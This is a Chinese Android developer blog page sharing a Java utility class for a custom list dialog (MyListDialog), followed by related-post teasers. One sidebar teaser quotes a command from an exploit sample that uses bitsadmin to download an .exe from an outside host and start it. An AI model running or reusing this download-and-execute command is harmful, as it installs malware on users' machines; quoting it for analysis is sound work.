文档章节

android开发工具类——MyListDialog (自定义列表弹窗)

MiloMei
 MiloMei
发布于 2015/03/06 17:11
字数 209
阅读 234
收藏 0

 具体参照代码,有问题或者有更好的建议,欢迎提出。

package com.imeibi.mytools;
import android.app.Dialog;
import android.content.Context;
import android.graphics.Point;
import android.view.Display;
import android.view.Gravity;
import android.view.WindowManager;
import com.imeibi.R;
import com.imeibi.utils.CommonUtils;
import java.util.List;
/**
 * Created by mb on
 * 2015/3/4-13:36.
 * 自定义弹窗,没有按钮
 */
public class MyListDialog {
    private Context context;
    private List<String> listStr;
    private Dialog myListDialog;

    /**
     * 列表弹窗
     *
     * @param c
     * @param listStr
     */
    public MyListDialog(Context c, List<String> listStr) {
        this.context = c;
        this.listStr = listStr;
        myListDialog = new Dialog(c, R.style.MyDialog);
       myListDialog.setContentView(R.layout.list_dialog_layout);
        //设置显示

        //正常显示listView,及操作......
    }
    /**
     * 设置显示参数
     */
    public void setShow() {
        myListDialog.show();
        //窗口管理器
        WindowManager windowManager = myListDialog.getWindow().getWindowManager();
        //获取默认显示窗口值
        Display display = windowManager.getDefaultDisplay();
        WindowManager.LayoutParams lp = myListDialog.getWindow().getAttributes();
        Point outSize = new Point();
        outSize.x = display.getWidth();
        outSize.y = display.getHeight();
        lp.width = outSize.x - CommonUtils.dip2px(context, 40); // 设置宽度
        lp.height = outSize.y - CommonUtils.dip2px(context, 200);//设置弹窗的高度
        lp.gravity = Gravity.CENTER;//弹窗居中显示
        myListDialog.getWindow().setAttributes(lp);
        myListDialog.setCanceledOnTouchOutside(true);
    }
}

© 著作权归作者所有

共有 人打赏支持
MiloMei
粉丝 6
博文 17
码字总数 6119
作品 0
浦东
程序员
全副武装!AndroidUI自动化测试在RxImagePicker中的实践历程

如果您不是很了解Android的自动化测试,或者还不了解UI自动化测试对于Android开发者的意义,请参考笔者的文章《解放双手,Android开发应该尝试的UI自动化测试(将于近期发布)》。概述 我是却...

却把清梅嗅2
08/02
0
0
安卓巴士Android开发者门户

一、开源库 1.SimpleRatingBar 简单好用的ratingbar 2.NumberRain Android自定义控件仿黑客帝国数字雨 3.CacheWebView 突破系统WebView缓存的空间限制的WebView 4.lucklypopupwindow Android...

迷你芊宝宝
06/22
0
0
Android四款系统架构工具

Spring for Android   Spring for Android是Spring框架在Android平台上的扩展,旨在简化Android原生应用的开发流程,提高开发者的工作效率。Spring for Android可以帮助开发者简化应用与服...

zhwj407906450
2014/10/21
0
0
【详细】Android入门到放弃篇-YES OR NO-》各种UI组件,布局管理器,单元Activity

问:达叔,你放弃了吗? 答:不,放弃是不可能的,丢了Android,你会心疼吗?如果别人把你丢掉,你是痛苦呢?还是痛苦呢?~ 引导语 有人说,爱上一个人是痛苦的,有人说,喜欢一个人是幸福的...

达叔小生
07/27
0
0
【我的Android进阶之旅】Android自定义Lint实践

一、Lint介绍 android lint是一个静态代码分析工具,通过lint工具,你可以不用边运行边调试,或者通过单元测试进行代码检查,可以检测代码中不规范、不和要求的问题,解决一些潜在的bug。lin...

qq446282412
05/19
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
17分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
30分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
32分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
43分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部